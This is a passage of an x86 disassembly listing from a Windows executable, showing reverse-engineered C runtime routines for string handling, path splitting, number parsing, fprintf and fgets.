Debugger loc_421BF3: ; CODE XREF: sub_421B90+43j ; sub_421B90+60j xor eax, eax test eax, eax jnz short loc_421BCF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_24] push ecx call sub_42A6B0 add esp, 0Ch mov [ebp+var_28], eax mov edx, [ebp+var_24] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_24] cmp dword ptr [edx+4], 0 jl short loc_421C6E mov eax, [ebp+var_24] mov ecx, [eax] mov byte ptr [ecx], 0 xor edx, edx and edx, 0FFh mov [ebp+var_30], edx mov eax, [ebp+var_24] mov ecx, [eax] add ecx, 1 mov edx, [ebp+var_24] mov [edx], ecx jmp short loc_421C7F ; --------------------------------------------------------------------------- loc_421C6E: ; CODE XREF: sub_421B90+BAj mov eax, [ebp+var_24] push eax push 0 call sub_42A430 add esp, 8 mov [ebp+var_30], eax loc_421C7F: ; CODE XREF: sub_421B90+DCj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C90 proc near ; CODE XREF: sub_4016A7+13Fp ; sub_4021E5+36A5p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] push eax call sub_41EBD0 add esp, 4 cmp eax, 1 jb short loc_421CEB mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+1] cmp edx, 3Ah jnz short loc_421CEB cmp [ebp+arg_4], 0 jz short loc_421CE0 push 2 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] push ecx call sub_42C010 add esp, 0Ch mov edx, [ebp+arg_4] mov byte ptr [edx+2], 0 loc_421CE0: ; CODE XREF: sub_421C90+35j mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax jmp short loc_421CF7 ; --------------------------------------------------------------------------- loc_421CEB: ; CODE XREF: sub_421C90+23j ; sub_421C90+2Fj cmp [ebp+arg_4], 0 jz short loc_421CF7 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 0 loc_421CF7: ; CODE XREF: sub_421C90+59j ; sub_421C90+5Fj mov [ebp+var_C], 0 mov edx, [ebp+arg_0] mov [ebp+var_4], edx jmp short loc_421D0F ; --------------------------------------------------------------------------- loc_421D06: ; CODE XREF: sub_421C90:loc_421D6Cj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_421D0F: ; CODE XREF: sub_421C90+74j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_421D6E mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] xor edx, edx mov dl, byte_4E97C1[ecx] and edx, 4 test edx, edx jz short loc_421D3A mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_421D6C ; --------------------------------------------------------------------------- loc_421D3A: ; CODE XREF: sub_421C90+9Dj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 2Fh jz short loc_421D50 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 5Ch jnz short loc_421D5B loc_421D50: ; CODE XREF: sub_421C90+B3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx jmp short loc_421D6C ; --------------------------------------------------------------------------- loc_421D5B: ; CODE XREF: sub_421C90+BEj mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_421D6C mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_421D6C: ; CODE XREF: sub_421C90+A8j ; sub_421C90+C9j ... jmp short loc_421D06 ; --------------------------------------------------------------------------- loc_421D6E: ; CODE XREF: sub_421C90+87j cmp [ebp+var_C], 0 jz short loc_421DC4 cmp [ebp+arg_8], 0 jz short loc_421DBC mov eax, [ebp+var_C] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_421D92 mov ecx, [ebp+var_C] sub ecx, [ebp+arg_0] mov [ebp+var_14], ecx jmp short loc_421D99 ; --------------------------------------------------------------------------- loc_421D92: ; CODE XREF: sub_421C90+F5j mov [ebp+var_14], 0FFh loc_421D99: ; CODE XREF: sub_421C90+100j mov edx, [ebp+var_14] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_42C010 add esp, 0Ch mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_421DBC: ; CODE XREF: sub_421C90+E8j mov ecx, [ebp+var_C] mov [ebp+arg_0], ecx jmp short loc_421DD0 ; --------------------------------------------------------------------------- loc_421DC4: ; CODE XREF: sub_421C90+E2j cmp [ebp+arg_8], 0 jz short loc_421DD0 mov edx, [ebp+arg_8] mov byte ptr [edx], 0 loc_421DD0: ; CODE XREF: sub_421C90+132j ; sub_421C90+138j cmp [ebp+var_8], 0 jz loc_421E7A mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jb loc_421E7A cmp [ebp+arg_C], 0 jz short loc_421E2F mov ecx, [ebp+var_8] sub ecx, [ebp+arg_0] cmp ecx, 0FFh jnb short loc_421E05 mov edx, [ebp+var_8] sub edx, [ebp+arg_0] mov [ebp+var_18], edx jmp short loc_421E0C ; --------------------------------------------------------------------------- loc_421E05: ; CODE XREF: sub_421C90+168j mov [ebp+var_18], 0FFh loc_421E0C: ; CODE XREF: sub_421C90+173j mov eax, [ebp+var_18] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] push eax call sub_42C010 add esp, 0Ch mov ecx, [ebp+arg_C] add ecx, [ebp+var_10] mov byte ptr [ecx], 0 loc_421E2F: ; CODE XREF: sub_421C90+15Aj cmp [ebp+arg_10], 0 jz short loc_421E78 mov edx, [ebp+var_4] sub edx, [ebp+var_8] cmp edx, 0FFh jnb short loc_421E4E mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_1C], eax jmp short loc_421E55 ; --------------------------------------------------------------------------- loc_421E4E: ; CODE XREF: sub_421C90+1B1j mov [ebp+var_1C], 0FFh loc_421E55: ; CODE XREF: sub_421C90+1BCj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_10] push ecx call sub_42C010 add esp, 0Ch mov edx, [ebp+arg_10] add edx, [ebp+var_10] mov byte ptr [edx], 0 loc_421E78: ; CODE XREF: sub_421C90+1A3j jmp short loc_421ECE ; --------------------------------------------------------------------------- loc_421E7A: ; CODE XREF: sub_421C90+144j ; sub_421C90+150j cmp [ebp+arg_C], 0 jz short loc_421EC2 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_421E98 mov ecx, [ebp+var_4] sub ecx, [ebp+arg_0] mov [ebp+var_20], ecx jmp short loc_421E9F ; --------------------------------------------------------------------------- loc_421E98: ; CODE XREF: sub_421C90+1FBj mov [ebp+var_20], 0FFh loc_421E9F: ; CODE XREF: sub_421C90+206j mov edx, [ebp+var_20] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_C] push edx call sub_42C010 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_421EC2: ; CODE XREF: sub_421C90+1EEj cmp [ebp+arg_10], 0 jz short loc_421ECE mov ecx, [ebp+arg_10] mov byte ptr [ecx], 0 loc_421ECE: ; CODE XREF: sub_421C90:loc_421E78j ; sub_421C90+236j mov esp, ebp pop ebp retn sub_421C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421EE0 proc near ; CODE XREF: sub_401FD0+8p ; sub_4021E5+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_421F00 loc_421EEC: ; CODE XREF: sub_421EE0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_421EEC loc_421F00: ; CODE XREF: sub_421EE0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_421EE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F10 proc near ; CODE XREF: sub_4021E5+8DC6p ; .XComp0:00421F67p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax nop call near ptr 27A0334h test eax, eax jnz short loc_421F2D call near ptr 27A0A66h nop mov [ebp+var_4], eax jmp short loc_421F34 ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421F10+10j mov [ebp+var_4], 0 loc_421F34: ; CODE XREF: sub_421F10+1Bj cmp [ebp+var_4], 0 jz short loc_421F4B mov ecx, [ebp+var_4] push ecx call sub_42C140 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_421F4D ; --------------------------------------------------------------------------- loc_421F4B: ; CODE XREF: sub_421F10+28j xor eax, eax loc_421F4D: ; CODE XREF: sub_421F10+39j mov esp, ebp pop ebp retn sub_421F10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_421F10 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F80 proc near ; CODE XREF: sub_4021E5+8CD8p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+arg_8] mov [ebp+var_10], eax loc_421F8F: ; CODE XREF: sub_421F80+37j cmp [ebp+arg_0], 0 jnz short loc_421FB3 push offset dword_43E4A4 push 0 push 38h push offset aFprintf_c ; "fprintf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_421FB3 int 3 ; Trap to Debugger loc_421FB3: ; CODE XREF: sub_421F80+13j ; sub_421F80+30j xor ecx, ecx test ecx, ecx jnz short loc_421F8F loc_421FB9: ; CODE XREF: sub_421F80+61j cmp [ebp+arg_4], 0 jnz short loc_421FDD push offset aFormatNull ; "format != NULL" push 0 push 39h push offset aFprintf_c ; "fprintf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_421FDD int 3 ; Trap to Debugger loc_421FDD: ; CODE XREF: sub_421F80+3Dj ; sub_421F80+5Aj xor edx, edx test edx, edx jnz short loc_421FB9 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_424B30 add esp, 4 mov edx, [ebp+var_4] push edx call sub_42C200 add esp, 4 mov [ebp+var_8], eax mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_4] push edx call sub_42A6B0 add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx call sub_42C360 add esp, 8 mov edx, [ebp+var_4] push edx call sub_424BA0 add esp, 4 mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_421F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422050 proc near ; CODE XREF: sub_4293A0+1C3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_422070 add esp, 10h pop ebp retn sub_422050 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422070 proc near ; CODE XREF: sub_422050+11p ; sub_4223B0+11p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov [ebp+var_C], 0 mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_422094: ; CODE XREF: sub_422070+77j cmp dword_4524F0, 1 jle short loc_4220B6 push 8 mov ecx, [ebp+var_8] and ecx, 0FFh push ecx call sub_429750 add esp, 8 mov [ebp+var_18], eax jmp short loc_4220D0 ; --------------------------------------------------------------------------- loc_4220B6: ; CODE XREF: sub_422070+2Bj mov edx, [ebp+var_8] and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8 mov [ebp+var_18], ecx loc_4220D0: ; CODE XREF: sub_422070+44j cmp [ebp+var_18], 0 jz short loc_4220E9 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_422094 ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_422070+64j movsx edx, byte ptr [ebp+var_8] cmp edx, 2Dh jnz short loc_42210D mov eax, [ebp+arg_C] or al, 2 mov [ebp+arg_C], eax mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_422127 ; --------------------------------------------------------------------------- loc_42210D: ; CODE XREF: sub_422070+80j movsx ecx, byte ptr [ebp+var_8] cmp ecx, 2Bh jnz short loc_422127 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_422127: ; CODE XREF: sub_422070+9Bj ; sub_422070+A4j cmp [ebp+arg_8], 0 jl short loc_422139 cmp [ebp+arg_8], 1 jz short loc_422139 cmp [ebp+arg_8], 24h jle short loc_42214E loc_422139: ; CODE XREF: sub_422070+BBj ; sub_422070+C1j cmp [ebp+arg_4], 0 jz short loc_422147 mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [edx], eax loc_422147: ; CODE XREF: sub_422070+CDj xor eax, eax jmp loc_42239D ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_422070+C7j cmp [ebp+arg_8], 0 jnz short loc_42218C movsx ecx, byte ptr [ebp+var_8] cmp ecx, 30h jz short loc_422166 mov [ebp+arg_8], 0Ah jmp short loc_42218C ; --------------------------------------------------------------------------- loc_422166: ; CODE XREF: sub_422070+EBj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 78h jz short loc_42217C mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 58h jnz short loc_422185 loc_42217C: ; CODE XREF: sub_422070+FFj mov [ebp+arg_8], 10h jmp short loc_42218C ; --------------------------------------------------------------------------- loc_422185: ; CODE XREF: sub_422070+10Aj mov [ebp+arg_8], 8 loc_42218C: ; CODE XREF: sub_422070+E2j ; sub_422070+F4j ... cmp [ebp+arg_8], 10h jnz short loc_4221CB movsx eax, byte ptr [ebp+var_8] cmp eax, 30h jnz short loc_4221CB mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 78h jz short loc_4221B1 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 58h jnz short loc_4221CB loc_4221B1: ; CODE XREF: sub_422070+134j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4221CB: ; CODE XREF: sub_422070+120j ; sub_422070+129j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov [ebp+var_10], eax loc_4221D6: ; CODE XREF: sub_422070+26Bj cmp dword_4524F0, 1 jle short loc_4221F7 push 4 mov eax, [ebp+var_8] and eax, 0FFh push eax call sub_429750 add esp, 8 mov [ebp+var_1C], eax jmp short loc_422212 ; --------------------------------------------------------------------------- loc_4221F7: ; CODE XREF: sub_422070+16Dj mov ecx, [ebp+var_8] and ecx, 0FFh mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_1C], eax loc_422212: ; CODE XREF: sub_422070+185j cmp [ebp+var_1C], 0 jz short loc_422224 movsx ecx, byte ptr [ebp+var_8] sub ecx, 30h mov [ebp+var_14], ecx jmp short loc_422283 ; --------------------------------------------------------------------------- loc_422224: ; CODE XREF: sub_422070+1A6j cmp dword_4524F0, 1 jle short loc_422249 push 103h mov edx, [ebp+var_8] and edx, 0FFh push edx call sub_429750 add esp, 8 mov [ebp+var_20], eax jmp short loc_422266 ; --------------------------------------------------------------------------- loc_422249: ; CODE XREF: sub_422070+1BBj mov eax, [ebp+var_8] and eax, 0FFh mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 103h mov [ebp+var_20], edx loc_422266: ; CODE XREF: sub_422070+1D7j cmp [ebp+var_20], 0 jz short loc_422281 movsx eax, byte ptr [ebp+var_8] push eax call sub_42C410 add esp, 4 sub eax, 37h mov [ebp+var_14], eax jmp short loc_422283 ; --------------------------------------------------------------------------- loc_422281: ; CODE XREF: sub_422070+1FAj jmp short loc_4222E0 ; --------------------------------------------------------------------------- loc_422283: ; CODE XREF: sub_422070+1B2j ; sub_422070+20Fj mov ecx, [ebp+var_14] cmp ecx, [ebp+arg_8] jb short loc_42228D jmp short loc_4222E0 ; --------------------------------------------------------------------------- loc_42228D: ; CODE XREF: sub_422070+219j mov edx, [ebp+arg_C] or edx, 8 mov [ebp+arg_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+var_10] jb short loc_4222B3 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_10] jnz short loc_4222C2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp [ebp+var_14], edx ja short loc_4222C2 loc_4222B3: ; CODE XREF: sub_422070+22Cj mov edx, [ebp+var_C] imul edx, [ebp+arg_8] add edx, [ebp+var_14] mov [ebp+var_C], edx jmp short loc_4222CA ; --------------------------------------------------------------------------- loc_4222C2: ; CODE XREF: sub_422070+234j ; sub_422070+241j mov eax, [ebp+arg_C] or al, 4 mov [ebp+arg_C], eax loc_4222CA: ; CODE XREF: sub_422070+250j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_4221D6 ; --------------------------------------------------------------------------- loc_4222E0: ; CODE XREF: sub_422070:loc_422281j ; sub_422070+21Bj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] and edx, 8 test edx, edx jnz short loc_422308 cmp [ebp+arg_4], 0 jz short loc_4222FF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4222FF: ; CODE XREF: sub_422070+287j mov [ebp+var_C], 0 jmp short loc_42237A ; --------------------------------------------------------------------------- loc_422308: ; CODE XREF: sub_422070+281j mov ecx, [ebp+arg_C] and ecx, 4 test ecx, ecx jnz short loc_422342 mov edx, [ebp+arg_C] and edx, 1 test edx, edx jnz short loc_42237A mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_42232F cmp [ebp+var_C], 80000000h ja short loc_422342 loc_42232F: ; CODE XREF: sub_422070+2B4j mov ecx, [ebp+arg_C] and ecx, 2 test ecx, ecx jnz short loc_42237A cmp [ebp+var_C], 7FFFFFFFh jbe short loc_42237A loc_422342: ; CODE XREF: sub_422070+2A0j ; sub_422070+2BDj call sub_42C1E0 mov dword ptr [eax], 22h mov edx, [ebp+arg_C] and edx, 1 test edx, edx jz short loc_422360 mov [ebp+var_C], 0FFFFFFFFh jmp short loc_42237A ; --------------------------------------------------------------------------- loc_422360: ; CODE XREF: sub_422070+2E5j mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_422373 mov [ebp+var_C], 80000000h jmp short loc_42237A ; --------------------------------------------------------------------------- loc_422373: ; CODE XREF: sub_422070+2F8j mov [ebp+var_C], 7FFFFFFFh loc_42237A: ; CODE XREF: sub_422070+296j ; sub_422070+2AAj ... cmp [ebp+arg_4], 0 jz short loc_422388 mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx loc_422388: ; CODE XREF: sub_422070+30Ej mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_42239A mov ecx, [ebp+var_C] neg ecx mov [ebp+var_C], ecx loc_42239A: ; CODE XREF: sub_422070+320j mov eax, [ebp+var_C] loc_42239D: ; CODE XREF: sub_422070+D9j mov esp, ebp pop ebp retn sub_422070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223B0 proc near ; CODE XREF: sub_4021E5+6C95p ; sub_4021E5+74E8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_422070 add esp, 10h pop ebp retn sub_4223B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223D0 proc near ; CODE XREF: sub_4021E5+54B6p ; sub_4181FB+11Bp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_4223E5: ; CODE XREF: sub_4223D0+3Dj cmp [ebp+arg_0], 0 jnz short loc_422409 push offset aStringNull ; "string != NULL" push 0 push 3Bh push offset aFgets_c ; "fgets.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_422409 int 3 ; Trap to Debugger loc_422409: ; CODE XREF: sub_4223D0+19j ; sub_4223D0+36j xor edx, edx test edx, edx jnz short loc_4223E5 loc_42240F: ; CODE XREF: sub_4223D0+67j cmp [ebp+arg_8], 0 jnz short loc_422433 push offset dword_43E4A4 push 0 push 3Ch push offset aFgets_c ; "fgets.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_422433 int 3 ; Trap to Debugger loc_422433: ; CODE XREF: sub_4223D0+43j ; sub_4223D0+60j xor eax, eax test eax, eax jnz short loc_42240F cmp [ebp+arg_4], 0 jg short loc_422446 xor eax, eax jmp loc_422507 ; --------------------------------------------------------------------------- loc_422446: ; CODE XREF: sub_4223D0+6Dj mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_424B30 add esp, 4 loc_422458: ; CODE XREF: sub_4223D0:loc_4224EDj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_4224F2 mov ecx, [ebp+var_4] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_4] mov [eax+4], edx mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jl short loc_4224A3 mov edx, [ebp+var_4] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax jmp short loc_4224B2 ; --------------------------------------------------------------------------- loc_4224A3: ; CODE XREF: sub_4223D0+B1j mov edx, [ebp+var_4] push edx call sub_429810 add esp, 4 mov [ebp+var_14], eax loc_4224B2: ; CODE XREF: sub_4223D0+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4224D1 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_4224CF mov [ebp+var_10], 0 jmp short loc_4224F8 ; --------------------------------------------------------------------------- loc_4224CF: ; CODE XREF: sub_4223D0+F4j jmp short loc_4224F2 ; --------------------------------------------------------------------------- loc_4224D1: ; CODE XREF: sub_4223D0+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_4224ED jmp short loc_4224F2 ; --------------------------------------------------------------------------- loc_4224ED: ; CODE XREF: sub_4223D0+119j jmp loc_422458 ; --------------------------------------------------------------------------- loc_4224F2: ; CODE XREF: sub_4223D0+95j ; sub_4223D0:loc_4224CFj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_4224F8: ; CODE XREF: sub_4223D0+FDj mov ecx, [ebp+var_4] push ecx call sub_424BA0 add esp, 4 mov eax, [ebp+var_10] loc_422507: ; CODE XREF: sub_4223D0+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4223D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_4021E5+3DB9p ; sub_4021E5+3DE1p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_422531 xor eax, eax jmp short loc_422533 ; --------------------------------------------------------------------------- loc_422531: ; CODE XREF: sub_422510+1Bj mov eax, edi loc_422533: ; CODE XREF: sub_422510+1Fj cld pop edi leave retn sub_422510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422540 proc near ; CODE XREF: sub_4021E5+A32p ; .XComp0:0041C858p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_422571 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_42256F jz short loc_422571 dec ecx dec ecx loc_42256F: ; CODE XREF: sub_422540+29j not ecx loc_422571: ; CODE XREF: sub_422540+9j ; sub_422540+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_422540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422580 proc near ; CODE XREF: sub_4021E5+654p ; sub_4021E5+88B2p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_4225F1 sub_422580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422590 proc near ; CODE XREF: sub_4021E5+672p ; sub_4021E5+53BDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4225AC loc_42259D: ; CODE XREF: sub_422590+1Aj mov al, [ecx] inc ecx test al, al jz short loc_4225DF test ecx, 3 jnz short loc_42259D loc_4225AC: ; CODE XREF: sub_422590+Bj ; sub_422590+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4225AC mov eax, [ecx-4] test al, al jz short loc_4225EE test ah, ah jz short loc_4225E9 test eax, 0FF0000h jz short loc_4225E4 test eax, 0FF000000h jz short loc_4225DF jmp short loc_4225AC ; --------------------------------------------------------------------------- loc_4225DF: ; CODE XREF: sub_422590+12j ; sub_422590+4Bj lea edi, [ecx-1] jmp short loc_4225F1 ; --------------------------------------------------------------------------- loc_4225E4: ; CODE XREF: sub_422590+44j lea edi, [ecx-2] jmp short loc_4225F1 ; --------------------------------------------------------------------------- loc_4225E9: ; CODE XREF: sub_422590+3Dj lea edi, [ecx-3] jmp short loc_4225F1 ; --------------------------------------------------------------------------- loc_4225EE: ; CODE XREF: sub_422590+39j lea edi, [ecx-4] loc_4225F1: ; CODE XREF: sub_422580+5j ; sub_422590+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_422616 loc_4225FD: ; CODE XREF: sub_422590+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_422668 mov [edi], dl inc edi test ecx, 3 jnz short loc_4225FD jmp short 